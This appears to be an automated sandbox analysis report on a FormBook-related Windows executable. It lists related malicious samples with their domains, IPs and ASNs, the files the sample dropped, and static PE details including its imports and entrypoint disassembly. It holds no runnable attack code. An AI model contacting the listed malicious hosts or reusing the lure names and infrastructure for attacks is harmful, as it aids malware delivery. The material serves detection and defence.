	Payrol list.exe	Get hash	malicious	FormBook	Browse	116.213.43.190
	New Order.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	116.213.43.190
	BL.exe	Get hash	malicious	FormBook	Browse	116.213.43.190
	payment advice.exe	Get hash	malicious	FormBook	Browse	116.213.43.190
	MV SHUHA QUEEN II.exe	Get hash	malicious	FormBook	Browse	116.213.43.190
	AuT5pFGTFw.exe	Get hash	malicious	FormBook	Browse	116.213.43.190
	new order.exe	Get hash	malicious	FormBook	Browse	116.213.43.190
	SHUYOU #U65b0#U6307#U4ee4 PO-2301010 03-07-2024.pdf.exe	Get hash	malicious	FormBook	Browse	116.213.43.190
	nJ8mJTmMf0.exe	Get hash	malicious	FormBook	Browse	116.213.43.190
www.lfghtko.lol	Scanned Docs from Emnes Metal Sdn Bhd_.exe	Get hash	malicious	FormBook	Browse	116.213.43.190
	PTT request form.exe	Get hash	malicious	FormBook	Browse	116.213.43.190
	PTT requested quotation.exe	Get hash	malicious	FormBook	Browse	116.213.43.190
	D02984-KP-002011.exe	Get hash	malicious	FormBook	Browse	116.213.43.190
	REQN#1010135038.exe	Get hash	malicious	FormBook	Browse	116.213.43.190
	PTT quotation form.exe	Get hash	malicious	FormBook	Browse	116.213.43.190
	Required quotations data list.exe	Get hash	malicious	FormBook	Browse	116.213.43.190
	SecuriteInfo.com.W32.AutoIt.YE.gen.Eldorado.20907.8920.exe	Get hash	malicious	FormBook	Browse	116.213.43.190
	HILCORP ENERGY REQUESTS.zip	Get hash	malicious	FormBook	Browse	116.213.43.190
kmdne.ajunsdfancsda.com	Scanned Docs from Emnes Metal Sdn Bhd_.exe	Get hash	malicious	FormBook	Browse	216.83.33.140

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-02US	PO TIYEY078K.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	76.223.67.189
	file.exe	Get hash	malicious	Unknown	Browse	52.222.236.23
	APS-0240226.exe	Get hash	malicious	FormBook	Browse	18.183.3.45
	http://vbfii.pgslotmx.com/4lErLl15833GMQN1411zilkbmrmpx14462UVBCFIXAXTJVAYQ286RNBY17492g17	Get hash	malicious	Unknown	Browse	54.76.183.106
	http://vztel.pgslotmx.com/4LzXXV15833BwEh1411pqqjcszogu14462TQIECUFXUJQCTZS286RSWC17492j17	Get hash	malicious	Unknown	Browse	54.71.206.39
	http://nxejt.polluxcastor.top	Get hash	malicious	Unknown	Browse	18.244.18.32
	DzgLfcsXop.exe	Get hash	malicious	Unknown	Browse	3.165.136.99
	file.exe	Get hash	malicious	Unknown	Browse	52.222.236.48
	SecuriteInfo.com.Win32.DropperX-gen.16703.29630.exe	Get hash	malicious	LummaC	Browse	185.166.143.49
	SecuriteInfo.com.Win64.DropperX-gen.20063.4917.exe	Get hash	malicious	Stealc	Browse	185.166.143.50
ACENS_ASSpainHostinghousingandVPNservicesES	Scanned Docs from Emnes Metal Sdn Bhd_.exe	Get hash	malicious	FormBook	Browse	217.116.0.191
	b2bXo6vmDm.exe	Get hash	malicious	SystemBC	Browse	217.116.5.231
	5CxmQXL0LD.exe	Get hash	malicious	SystemBC	Browse	82.194.91.200
	HSBCscancopy-invoice778483-payment87476MT103.exe	Get hash	malicious	FormBook	Browse	217.116.0.191
	Request for Quotation - (SM Store San Mateo).exe	Get hash	malicious	FormBook	Browse	217.116.0.191
	D02984-KP-002011.exe	Get hash	malicious	FormBook	Browse	217.116.0.191
	REQN#1010135038.exe	Get hash	malicious	FormBook	Browse	217.116.0.191
	pismo1A 12.06.2024.exe	Get hash	malicious	FormBook	Browse	217.116.0.191
	RFQ for Maintenance usering for Sabratha Project.exe	Get hash	malicious	FormBook	Browse	217.116.0.191
	CFV20240600121.exe	Get hash	malicious	FormBook	Browse	217.116.0.191
VNPT-AS-VNVNPTCorpVN	Vinyl Graphics Document.xlsx	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	203.161.38.167
	Vinyl Graphics Document.xlsx	Get hash	malicious	Unknown	Browse	203.161.38.167
	Udspecialiser45.exe	Get hash	malicious	FormBook, GuLoader	Browse	203.161.49.193
	qEW7hMvyV7.exe	Get hash	malicious	FormBook	Browse	203.161.49.193
	Pro#U015bba o Wycena - Strony 4-6.vbs	Get hash	malicious	FormBook, GuLoader	Browse	203.161.46.205
	Payment Advice - Advice Ref[BIBBC2023189].exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	203.161.46.205
	SecuriteInfo.com.Win32.MalwareX-gen.27733.18864.exe	Get hash	malicious	Unknown	Browse	103.255.237.239
	DHL 0009485777.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	203.161.42.161
	Remittance advice.exe	Get hash	malicious	FormBook	Browse	203.161.42.158
	Shipping document_pdf.exe	Get hash	malicious	FormBook	Browse	203.161.41.190

Process:	C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe
File Type:	data
Category:	dropped
Size (bytes):	271872
Entropy (8bit):	7.993386307633134
Encrypted:	true
SSDEEP:	6144:velP3FogzISzT+rzY+eHZWnk62FfP5zatkFy1vDJ:Gl/ygkSQeW+ZP5uvd
MD5:	E2ABE3AF2B1EFA391F592E0DB4914937
SHA1:	EA3CC692BF07DBFE764F074BEF9B2CA0D944EE85
SHA-256:	5AE2213AB114B3942CA41ACE0DE1518F9937165D293CE0B5E5960A59CF9ECFB8
SHA-512:	B598EB4E0B41C465972A70CAD5444EE7E686B34205519B78E619FE3532F91CC5C4B89C8B3D4C2A2F5D5F730371D83F52D0F376E49294A8967CC955B87AA21263
Malicious:	false
Reputation:	low
Preview:	uk...YI70..]....i.IJ...bMO...0PUZT7Q5TUTIIB81JNGYI70PUZT7Q5.UTIG].?J.N.h.1..{._8Ft%&&.0Y\j-&7'XDp7?tE$[t<:i..k.'!#<g:=ZqZT7Q5TU-H@..Q-.z9...02.N...n53.S..v. .S...i:3..\7=i)..81JNGYI7`.UZ.6P5E.M.IB81JNGY.72Q^[_7Q!PUTIIB81JNWMI70@UZT.U5TU.IIR81JLGYO70PUZT7W5TUTIIB8.NNG[I70PUZV7..TUDIIR81JNWYI'0PUZT7A5TUTIIB81JNGYI70PUZT7Q5TUTIIB81JNGYI70PUZT7Q5TUTIIB81JNGYI70PUZT7Q5TUTIIB81JNGYI70PUZT7Q5TUTIIB81JNGYI70PUZT7Q5TUTIIB81JNGYI70PUZT7.A1- IIB\#NNGII70DQZT'Q5TUTIIB81JNGYi700UZT7Q5TUTIIB81JNGYI70PUZT7Q5TUTIIB81JNGYI70PUZT7Q5TUTIIB81JNGYI70PUZT7Q5TUTIIB81JNGYI70PUZT7Q5TUTIIB81JNGYI70PUZT7Q5TUTIIB81JNGYI70PUZT7Q5TUTIIB81JNGYI70PUZT7Q5TUTIIB81JNGYI70PUZT7Q5TUTIIB81JNGYI70PUZT7Q5TUTIIB81JNGYI70PUZT7Q5TUTIIB81JNGYI70PUZT7Q5TUTIIB81JNGYI70PUZT7Q5TUTIIB81JNGYI70PUZT7Q5TUTIIB81JNGYI70PUZT7Q5TUTIIB81JNGYI70PUZT7Q5TUTIIB81JNGYI70PUZT7Q5TUTIIB81JNGYI70PUZT7Q5TUTIIB81JNGYI70PUZT7Q5TUTIIB81JNGYI70PUZT7Q5TUTIIB81JNGYI70PUZT7Q5TUTIIB81JNGYI70PUZT7Q5TUTIIB81JNGYI70PUZT7Q5TUTIIB81JNGYI70PUZT7Q5TUTIIB81JNGYI70P

C:\Users\user\AppData\Local\Temp\autB42C.tmp

Process:	C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe
File Type:	data
Category:	dropped
Size (bytes):	271872
Entropy (8bit):	7.993386307633134
Encrypted:	true
SSDEEP:	6144:velP3FogzISzT+rzY+eHZWnk62FfP5zatkFy1vDJ:Gl/ygkSQeW+ZP5uvd
MD5:	E2ABE3AF2B1EFA391F592E0DB4914937
SHA1:	EA3CC692BF07DBFE764F074BEF9B2CA0D944EE85
SHA-256:	5AE2213AB114B3942CA41ACE0DE1518F9937165D293CE0B5E5960A59CF9ECFB8
SHA-512:	B598EB4E0B41C465972A70CAD5444EE7E686B34205519B78E619FE3532F91CC5C4B89C8B3D4C2A2F5D5F730371D83F52D0F376E49294A8967CC955B87AA21263
Malicious:	false
Reputation:	low
Preview:	uk...YI70..]....i.IJ...bMO...0PUZT7Q5TUTIIB81JNGYI70PUZT7Q5.UTIG].?J.N.h.1..{._8Ft%&&.0Y\j-&7'XDp7?tE$[t<:i..k.'!#<g:=ZqZT7Q5TU-H@..Q-.z9...02.N...n53.S..v. .S...i:3..\7=i)..81JNGYI7`.UZ.6P5E.M.IB81JNGY.72Q^[_7Q!PUTIIB81JNWMI70@UZT.U5TU.IIR81JLGYO70PUZT7W5TUTIIB8.NNG[I70PUZV7..TUDIIR81JNWYI'0PUZT7A5TUTIIB81JNGYI70PUZT7Q5TUTIIB81JNGYI70PUZT7Q5TUTIIB81JNGYI70PUZT7Q5TUTIIB81JNGYI70PUZT7Q5TUTIIB81JNGYI70PUZT7Q5TUTIIB81JNGYI70PUZT7.A1- IIB\#NNGII70DQZT'Q5TUTIIB81JNGYi700UZT7Q5TUTIIB81JNGYI70PUZT7Q5TUTIIB81JNGYI70PUZT7Q5TUTIIB81JNGYI70PUZT7Q5TUTIIB81JNGYI70PUZT7Q5TUTIIB81JNGYI70PUZT7Q5TUTIIB81JNGYI70PUZT7Q5TUTIIB81JNGYI70PUZT7Q5TUTIIB81JNGYI70PUZT7Q5TUTIIB81JNGYI70PUZT7Q5TUTIIB81JNGYI70PUZT7Q5TUTIIB81JNGYI70PUZT7Q5TUTIIB81JNGYI70PUZT7Q5TUTIIB81JNGYI70PUZT7Q5TUTIIB81JNGYI70PUZT7Q5TUTIIB81JNGYI70PUZT7Q5TUTIIB81JNGYI70PUZT7Q5TUTIIB81JNGYI70PUZT7Q5TUTIIB81JNGYI70PUZT7Q5TUTIIB81JNGYI70PUZT7Q5TUTIIB81JNGYI70PUZT7Q5TUTIIB81JNGYI70PUZT7Q5TUTIIB81JNGYI70PUZT7Q5TUTIIB81JNGYI70PUZT7Q5TUTIIB81JNGYI70P

C:\Users\user\AppData\Local\Temp\autB48B.tmp

Process:	C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe
File Type:	data
Category:	dropped
Size (bytes):	9762
Entropy (8bit):	7.637630929214253
Encrypted:	false
SSDEEP:	192:CZIUd0H8VoRVvrmhY2npAP3CYlDU8fcoNS05/kNZA1CCp7EXaWoB:Yd0HtRVH4qCDxkD/VCIEqWoB
MD5:	EA5DF5C3FCD63E7A0F0D0992D12FAE38
SHA1:	356A1A3ADB677378C1675532CED7B10910E11D16
SHA-256:	3ADB99C43F41CAC29EA0D7E5613A4C3162946761C339B0451F34A76B3629C8C9
SHA-512:	5DF23B27314181832A4C493AA4D62DB44F9FA5C32183519D99C3F9AEE81D9640131A9DF37A3843F70CC7C83F59B8D688627BC0BFC3653D38ED86C1F468CB0607
Malicious:	false
Reputation:	low
Preview:	EA06..p..^..y..e.L..[-.e4....y..sd.N,....e8.N.si..md..&..]....9...K........\|.0.o..d..,......:..@..;.Y'sP.......4.Z..o;..6.`.o.p..Y@.....g.;..f.P..Y@...N..i.........;......r.'Sy...c ....Ac.H.....(.F.3<..Y..6...4.d........x..n....Bv.....X. 0....+$.r...Y..5_..l.....5_..t.U..`5_....U...5_..d.U...5\..>30..N.^.c.Z..o8.z..s8......@.....s...G. /Z.N'`.....jv....r.u....$.../.s:...g G_T......l.>_.......zo7.........s@.......@...........`.M..`... ...e...@..8.'.6.Y.{>K$..c.M.`..Y'.._..t......>K #G.d..3\|vY..G.6.Yf.8_..oe..i\|vY....e.h.,.0......-..9.M..kE...Ng.P;..:.N..P.L..6...f..+(.ffvI...8.N.....f.@.E...Y....3.i.....N@......vi.....P.....2p....<d....,vf........N.!+(.'&`....,fs4...I.......r.4.X...c3.4.ih.Y.!...Gf.....,f.;.... .#9.....c.P........t.h.s.....,vj...$..t.L....40.....f....N.s....4..@.6.-..p..S.=..4...SP.N...;7.`..;.M.....o:.....c.p..Y.s.wx.....vp........E....N.y6....p.c3.5..6..b.!....F ...@B5e.Mgs........vr......fV[5.v...B3p....;:.X...c.NA..0........g@....&.<..e...

C:\Users\user\AppData\Local\Temp\done

Process:	C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe
File Type:	FGDC-STD-001-1998
Category:	dropped
Size (bytes):	28674
Entropy (8bit):	3.5799572889089
Encrypted:	false
SSDEEP:	384:gAQKCZbwwQ4/6BEsM6IYj84F5Fdu/euMcL1R22qO6FsVWfGbLph1juTJOtHtiP:PQKeIksMMIM7yX22GFs+GbLph1jXtAP
MD5:	998E89F2198CD4BC35DC6E234B79C27E
SHA1:	6CE9AFB3032C3C76689B34758B8F7CEAD44A1423
SHA-256:	73D8935C5FF8CFF761BB5988CEFE41C184A656C1C41C11013C6161E0A11020CB
SHA-512:	A504D03D1BCBAF98B5611E6B46DFE54A254290E69B46DEF252FAE532CB809E7DD914ECB0C73557A83071278832A59503EFA43CAA099C27B8D80A4E7502EDE371
Malicious:	false
Reputation:	low
Preview:	2z77:dge:3geee2422227879d:8d22222288:;67:6d;8722222288:;6f:8dc9422222288:;77::d:8g22222288:;67:cd;8722222288:;6f:edc8e22222288:;77:gd:5522222288:;67;2d;5422222288:;6f;4dc4g22222288:;77;6d:8622222288:;67;8d;8e22222288:;6f;:dc8e22222288:;77;c55e288:;67;ed;8g22222288:;:f66hhhhhhdc9622222288:;;768hhhhhhd:8622222288:;:76:hhhhhhd;8e22222288:;:f6chhhhhhdc8e22222288:;;76ehhhhhhd:4g22222288:;:76ghhhhhhd;8622222288:;:f72hhhhhhdc8e22222288:;;774hhhhhhd:8e22222288:;:776hhhhhh55e;88:;:f78hhhhhhdc9722222288:;77f2d:9522222288:;67f4d;8722222288:;6ff6dc9422222288:;77f8d:5522222288:;67f:d;5422222288:;6ffcdc4g22222288:;77fed:8622222288:;67fgd;8e22222288:;6fg2dc8e22222288:;77g455e288:;67g6d;8322222288:;:f8:hhhhhhdc8622222288:;;78chhhhhhd:9822222288:;:78ehhhhhhd;8322222288:;:f8ghhhhhhdc9222222288:;;792hhhhhhd:8;22222288:;:794hhhhhhd;5522222288:;:f96hhhhhhdc5422222288:;;798hhhhhhd:4g22222288:;:79:hhhhhhd;8622222288:;:f9chhhhhhdc8e22222288:;;79ehhhhhhd:8e22222288:;:79ghhhhhh55e;88:;6f:2dc9522222288:;77c2d:8:

C:\Users\user\AppData\Local\Temp\j0941BH0

Process:	C:\Windows\SysWOW64\schtasks.exe
File Type:	Unknown
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1221538113908904
Encrypted:	false
SSDEEP:	192:r2qAdB9TbTbuDDsnxCkvSAE+WslKOMq+8ESRR9crV+J3mLxAXd:r2qOB1nxCkvSAELyKOMq+8ETZKoxAX
MD5:	C1AE02DC8BFF5DD65491BF71C0B740A7
SHA1:	6B68C7B76FB3D1F36D6CF003C60B1571C62C0E0F
SHA-256:	CF2E96737B5DDC980E0F71003E391399AAE5124C091C254E4CCCBC2A370757D7
SHA-512:	01F8CA51310726726B0B936385C869CDDBC9DD996B488E539B72C580BD394219774C435482E618D58EB8F08D411411B63912105E4047CB29F845B2D07DE3E0E1
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.207748478140611
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe
File size:	1'211'904 bytes
MD5:	58077f7b69ca6e33ec9a13f1b2b53c02
SHA1:	09c02cdd3a29100c0398c4a2192bfbfef34fb94c
SHA256:	758ad60c19d53019939eeb1ac2502931f5f6c17ae9184372f8f30efac42f90c1
SHA512:	a5739b504ee8ab35745fb30ccd665ad79da5d1825481c9ca2f2016b1e5b5cafddfe47759c6d7db6a63c486580a9267ba34bd22856a65c1ef95a54455bdafc3c3
SSDEEP:	24576:iAHnh+eWsN3skA4RV1Hom2KXMmHabm7/wNlusWwN4nGf5:lh+ZkldoPK8YabmENJWwinS
TLSH:	7845BD0273D6D036FFAA92739B6AB20156BC7D290133852F13982DB9BD701B1267D663
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........s..R...R...R....C..P.....;.S..._@#.a..._@......_@..g...[j..[...[jo.w...R...r.............#.S..._@'.S...R.k.S.....".S...RichR..

File Icon


Icon Hash:	6142420142183038

Static PE Info

General

Entrypoint:	0x42800a
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66B96D84 [Mon Aug 12 02:03:48 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	afcdf79be1557326c854b6e20cb900a7

Entrypoint Preview

Instruction
call 00007FCC1D14173Dh
jmp 00007FCC1D1344F4h
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
push edi
push esi
mov esi, dword ptr [esp+10h]
mov ecx, dword ptr [esp+14h]
mov edi, dword ptr [esp+0Ch]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe 00007FCC1D13467Ah
cmp edi, eax
jc 00007FCC1D1349DEh
bt dword ptr [004C41FCh], 01h
jnc 00007FCC1D134679h
rep movsb
jmp 00007FCC1D13498Ch
cmp ecx, 00000080h
jc 00007FCC1D134844h
mov eax, edi
xor eax, esi
test eax, 0000000Fh
jne 00007FCC1D134680h
bt dword ptr [004BF324h], 01h
jc 00007FCC1D134B50h
bt dword ptr [004C41FCh], 00000000h
jnc 00007FCC1D13481Dh
test edi, 00000003h
jne 00007FCC1D13482Eh
test esi, 00000003h
jne 00007FCC1D13480Dh
bt edi, 02h
jnc 00007FCC1D13467Fh
mov eax, dword ptr [esi]
sub ecx, 04h
lea esi, dword ptr [esi+04h]
mov dword ptr [edi], eax
lea edi, dword ptr [edi+04h]
bt edi, 03h
jnc 00007FCC1D134683h
movq xmm1, qword ptr [esi]
sub ecx, 08h
lea esi, dword ptr [esi+08h]
movq qword ptr [edi], xmm1
lea edi, dword ptr [edi+08h]
test esi, 00000007h
je 00007FCC1D1346D5h
bt esi, 03h

Rich Headers

Programming Language:

[ASM] VS2013 build 21005
[ C ] VS2013 build 21005
[C++] VS2013 build 21005
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ASM] VS2013 UPD5 build 40629
[RES] VS2013 build 21005
[LNK] VS2013 UPD5 build 40629

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xbc0cc	0x17c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc8000	0x5d624	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x126000	0x7134	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x92bc0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xa4b50	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8f000	0x884	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x8dfdd	0x8e000	310e36668512d53489c005622bb1b4a9	False	0.5735602580325704	data	6.675248351711057	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8f000	0x2fd8e	0x2fe00	748cf1ab2605ce1fd72d53d912abb68f	False	0.32828818537859006	data	5.763244005758284	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xbf000	0x8f74	0x5200	aae9601d920f07080bdfadf43dfeff12	False	0.1017530487804878	data	1.1963819235530628	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xc8000	0x5d624	0x5d800	dc23ce9c4a2692103d7446f0434e7c32	False	0.9699145638368984	data	7.969322527303809	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x126000	0x7134	0x7200	f04128ad0f87f42830e4a6cdbc38c719	False	0.7617530153508771	data	6.783955557128661	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xc8458	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.7466216216216216
RT_ICON	0xc8580	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	Great Britain	0.3277027027027027
RT_ICON	0xc86a8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0xc87d0	0x1024	Device independent bitmap graphic, 32 x 62 x 32, image size 3968, resolution 4724 x 4724 px/m	English	Great Britain	0.23426911907066797
RT_MENU	0xc97f4	0x50	data	English	Great Britain	0.9
RT_STRING	0xc9844	0x594	data	English	Great Britain	0.3333333333333333
RT_STRING	0xc9dd8	0x68a	data	English	Great Britain	0.2747909199522103
RT_STRING	0xca464	0x490	data	English	Great Britain	0.3715753424657534
RT_STRING	0xca8f4	0x5fc	data	English	Great Britain	0.3087467362924282
RT_STRING	0xcaef0	0x65c	data	English	Great Britain	0.34336609336609336
RT_STRING	0xcb54c	0x466	data	English	Great Britain	0.3605683836589698
RT_STRING	0xcb9b4	0x158	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	Great Britain	0.502906976744186
RT_RCDATA	0xcbb0c	0x595fc	data			1.000330532457741
RT_GROUP_ICON	0x125108	0x14	data	English	Great Britain	1.2
RT_GROUP_ICON	0x12511c	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0x125130	0x14	data	English	Great Britain	1.15
RT_GROUP_ICON	0x125144	0x14	data	English	Great Britain	1.25
RT_VERSION	0x125158	0xdc	data	English	Great Britain	0.6181818181818182
RT_MANIFEST	0x125234	0x3ef	ASCII text, with CRLF line terminators	English	Great Britain	0.5074478649453823

Imports

DLL	Import
WSOCK32.dll	WSACleanup, socket, inet_ntoa, setsockopt, ntohs, recvfrom, ioctlsocket, htons, WSAStartup, __WSAFDIsSet, select, accept, listen, bind, closesocket, WSAGetLastError, recv, sendto, send, inet_addr, gethostbyname, gethostname, connect
VERSION.dll	GetFileVersionInfoW, GetFileVersionInfoSizeW, VerQueryValueW
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
COMCTL32.dll	ImageList_ReplaceIcon, ImageList_Destroy, ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, InitCommonControlsEx, ImageList_Create
MPR.dll	WNetUseConnectionW, WNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W
WININET.dll	InternetQueryDataAvailable, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetQueryOptionW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetReadFile, InternetConnectW
PSAPI.DLL	GetProcessMemoryInfo
IPHLPAPI.DLL	IcmpCreateFile, IcmpCloseHandle, IcmpSendEcho
USERENV.dll	DestroyEnvironmentBlock, UnloadUserProfile, CreateEnvironmentBlock, LoadUserProfileW
UxTheme.dll	IsThemeActive
KERNEL32.dll	DuplicateHandle, CreateThread, WaitForSingleObject, HeapAlloc, GetProcessHeap, HeapFree, Sleep, GetCurrentThreadId, MultiByteToWideChar, MulDiv, GetVersionExW, IsWow64Process, GetSystemInfo, FreeLibrary, LoadLibraryA, GetProcAddress, SetErrorMode, GetModuleFileNameW, WideCharToMultiByte, lstrcpyW, lstrlenW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, SetEndOfFile, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, SetCurrentDirectoryW, GetLongPathNameW, GetShortPathNameW, DeleteFileW, FindNextFileW, CopyFileExW, MoveFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, EnumResourceNamesW, OutputDebugStringW, GetTempPathW, GetTempFileNameW, DeviceIoControl, GetLocalTime, CompareStringW, GetCurrentProcess, EnterCriticalSection, LeaveCriticalSection, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, LoadLibraryExW, FindResourceExW, CopyFileW, VirtualFree, FormatMessageW, GetExitCodeProcess, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, SetFileAttributesW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, HeapReAlloc, HeapSize, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetProcessIoCounters, CreateProcessW, GetProcessId, SetPriorityClass, LoadLibraryW, VirtualAlloc, IsDebuggerPresent, GetCurrentDirectoryW, lstrcmpiW, DecodePointer, GetLastError, RaiseException, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, InterlockedDecrement, InterlockedIncrement, GetCurrentThread, CloseHandle, GetFullPathNameW, EncodePointer, ExitProcess, GetModuleHandleExW, ExitThread, GetSystemTimeAsFileTime, ResumeThread, GetCommandLineW, IsProcessorFeaturePresent, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, SetLastError, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetStartupInfoW, GetStringTypeW, SetStdHandle, GetFileType, GetConsoleCP, GetConsoleMode, RtlUnwind, ReadConsoleW, GetTimeZoneInformation, GetDateFormatW, GetTimeFormatW, LCMapStringW, GetEnvironmentStringsW, FreeEnvironmentStringsW, WriteConsoleW, FindClose, SetEnvironmentVariableA
USER32.dll	AdjustWindowRectEx, CopyImage, SetWindowPos, GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, CallWindowProcW, ReleaseCapture, SetCapture, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, SetRect, GetMenuItemID, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, MonitorFromRect, keybd_event, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, 